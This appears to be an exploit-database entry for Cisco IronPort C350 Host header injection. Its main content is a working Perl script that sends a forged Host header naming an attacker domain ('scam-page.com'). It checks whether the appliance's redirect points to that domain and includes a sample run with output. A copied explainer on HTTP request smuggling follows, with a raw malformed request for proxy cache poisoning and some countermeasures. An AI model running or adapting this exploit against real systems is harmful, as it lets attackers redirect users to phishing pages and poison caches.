Cisco IronPort C350 Header Injection

2019.09.03
Credit: Todor Donev
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

#!/usr/bin/perl -w # # # Cisco IronPort C350 Remote Header 'Host' Injection # # # Copyright 2019 (c) Todor Donev <todor.donev at gmail.com> # # # Disclaimer: # This or previous programs are for Educational purpose ONLY. Do not use it without permission. # The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages # caused by direct or indirect use of the information or functionality provided by these programs. # The author or any Internet provider bears NO responsibility for content or misuse of these programs # or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss, # system crash, system compromise, etc.) caused by the use of these programs are not Todor Donev's # responsibility. # # Use them at your own risk! # # # [test@localhost ironport]$ perl ironport_c350.pl https://192.168.1.1 # # Cisco IronPort C350 Remote Header 'Host' Injection # # ================================================== # # Author: Todor Donev 2019 (c) <todor.donev at gmail.com> # # > Host => scam-page.com # # > User-Agent => Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b) Gecko/20050217 # # > Content-Type => application/x-www-form-urlencoded # # < Cache-Control => no-store,no-cache,must-revalidate,max-age=0,post-check=0,pre-check=0 # # < Date => Tue, 03 Sep 2019 14:18:51 GMT # # < Location => https://scam-page.com/login?CSRFKey=76b140ff-7e88-4eaf-ae60-7f6205532297&referrer=https%3A%2F%2Fscam-page.com%2FSearch # # < Server => glass/1.0 Python/2.6.4 # # < Content-Type => text/html # # < Expires => Tue, 03 Sep 2019 14:18:51 GMT # # < Last-Modified => Tue, 03 Sep 2019 14:18:51 GMT # # < Client-Date => Tue, 03 Sep 2019 14:18:52 GMT # # < Client-Peer => 192.168.1.1:443 # # < Client-Response-Num => 1 # # < Client-SSL-Cert-Issuer => # # < Client-SSL-Cert-Subject => # # < Client-SSL-Cipher => DHE-RSA-AES256-SHA # # < Client-SSL-Socket-Class => IO::Socket::SSL # # < Client-SSL-Warning => Peer certificate not verified # # < Refresh => 0; URL=https://scam-page.com/login?CSRFKey=76b140ff-7e88-4eaf-ae60-7f6205532297&referrer=https%3A%2F%2Fscam-page.com%2FSearch # # < Set-Cookie => sid=9DGT8pSoFYuBq74dVpfh; expires=Thursday, 05-Sep-2019 14:18:51 GMT; httponly; Path=/; secure # # < Title => : Redirecting # # ================================================== # # IronPort is Poisoned => https://scam-page.com/login?CSRFKey=76b140ff-7e88-4eaf-ae60-7f6205532297&referrer=https%3A%2F%2Fscam-page.com%2FSearch # [test@localhost ironport]$ # # # Request Smuggling Attack - Input and Data Validation # # Implementation # # o Attack Applies To Vulnerable web servers and proxies. # # # Description # # HTTP request smuggling is a technique to take advantage # of discrepancies in parsing when one or more HTTP devices # are between the user and the web server. An attacker may # be able to 'smuggle' malicious requests through a packet # inspector, firewall or web proxy server. This technique # may leave the web server vulnerable to various attacks # such as web cache poisoning, or allow the attacker to # request protected files on the web server. # # Impact # # Cache poisoning: An attacker may be able to ‘rewire’ # o a web server cache so that one page is served when # another is requested. # # Malicious requests: An attacker may be able to smuggle # o a malicious request through a packet inspector, web proxy # server, or firewall because of discrepancies in security # rules between it and the web server. # # Credential hijacking: An attacker may be able to insert # o a request into the HTTP flow, thereby manipulating the # web server’s request/response sequencing, which can allow # the attacker to hijack a third party’s credentials. # # Vulnerabilities # # o Web server, packet inspector, firewall, or web proxy server # misconfiguration. # # Countermeasures # # Deploy a non-vulnerable web server: Web servers with a very # o strict HTTP parsing procedure may not be vulnerable to this # attack. # # Change all pages to non-cacheable: This will force the proxy # to retrieve the pages from the web server every time. Although # o this is better from a security perspective, the reality is that # caching significantly improves the server's performance and # reduces latency. Thus, other countermeasures are a better long # term fix. # # o Rewrite all HTTP requests: Install a module on a firewall or # proxy server to rewrite each HTTP request on the fly to a known # valid request type. # # o Update your web server: Contact the web server vendor and check # if there has been a patch released for a this type of vulnerability. # # # Example # # This example describes the classic request smuggling attack # in which an attacker can poison one page with the contents # of another. In this example, the attacker combines one POST # request and two GET requests into a single malformed HTTP # request. The HTTP request has two Content-Length headers # with conflicting values. Some servers, such as IIS and # Apache simply reject such a request, but others attempt to # ‘fix’ the error. Fortunately for the attacker, certain web # servers and web proxies choose to pay attention to different # sections of the malformed request. # # In this case let "somewhere.com" be the DNS name of the web # server behind the proxy, and suppose that "/poison.html" is # a static and cacheable HTML page on the web server. # # 1 POST http://somewhere.com/example.html # HTTP/1.1\r\n2 Host: somewhere.com\r\n3 # Connection: Keep-Alive\r\n4 # Content-Type: application/x-www-form-urlencoded\r\n5 # Content-Length: 0\r\n6 Content-Length: 53\r\n7 \r\n8 GET /poison.html HTTP/1.1\r\n9 # Host: somewhere.com\r\n10 Bla: 11 GET http://somewhere.com/index.html HTTP/1.1\r\n12 # Host: somewhere.com\r\n13 Connection: Keep-Alive\r\n14 \r\n # # Note that line 10 is the only line that does not end in # CRLF ("\r\n") and instead there is a space ("Bla: "). # This request is sent to a web server via a proxy server. # # First, this message is parsed by the proxy. When the proxy server # parses the message, it finds the POST request (lines 1-7) followed by # the two conflicting Content-Length's (lines 5 and 6). The proxy ignores # the first header and believes the body is 53 bytes long (which is exactly # the number of bytes used by lines 8-10 including CRLFs). The proxy then # sees lines 11-14 and interprets them as a second request. # # Second, the message is parsed by the web server. Although the web server # receives the same message, when it sees the first Content-Length in line 5, # it thinks that the body of the POST request is 0 bytes in length. # Therefore it finds the second request in line 8 and interprets line 11 # as the value of "Bla: " in line 10 because of the missing CRLF. # # # At this point the web server responds to the GET in line 8 by sending # the content of /poison.html to the proxy. The proxy, expecting a # response to the GET request in line 11, mistakenly matches the reply # from the webserver with contents from /poison.html to the page /index.html. # Therefore, the contents of /poison.html are cached under the name /index.html # on the proxy. Now any user who requests http://somewhere.com/index.html # through the proxy will receive the contents of http://somewhere.com/poison.html # instead. # # There are several options available to mitigate this attack but all of # them have their downside. If possible, use a well tested web server such # as Apache or IIS. Otherwise, you can turn off server-side page caching, # but this can lead to significant performance problems such as increased # server load and latency. A final option is to use SSL communication for # everything (HTTPS instead of HTTP), but this too has an associated # performance overhead. # use strict; use v5.10; use HTTP::Request; use LWP::UserAgent; use WWW::UserAgent::Random; my $host = shift || ''; my $attacker = shift || 'scam-page.com'; print "# Cisco IronPort C350 Remote Header 'Host' Injection # ================================================== # Author: Todor Donev 2019 (c) <todor.donev at gmail.com> "; if ($host !~ m/^http/){ print "# e.g. perl $0 https://target:port/ scam-page.com "; exit; } my $user_agent = rand_ua("browsers"); my $browser = LWP::UserAgent->new( protocols_allowed => ['http', 'https'], ssl_opts => { verify_hostname => 0 } ); $browser->timeout(10); $browser->agent($user_agent); my $request = HTTP::Request->new (POST => $host,[Content_Type => "application/x-www-form-urlencoded"], " "); $request->header("Host" => $attacker); my $response = $browser->request($request); print "# 401 Unauthorized!\n" and exit if ($response->code eq '401'); say "# > $_ => ", $request->header($_) for $request->header_field_names; say "# < $_ => ", $response->header($_) for $response->header_field_names; print "# ==================================================\n"; if (defined ($response->header('Location')) and ($response->header('Location') =~ m/$attacker/i)){ printf ("# IronPort is Poisoned => %s\n", $response->header('Location')); exit; } else { printf ("# Exploit failed!\n"); exit; }


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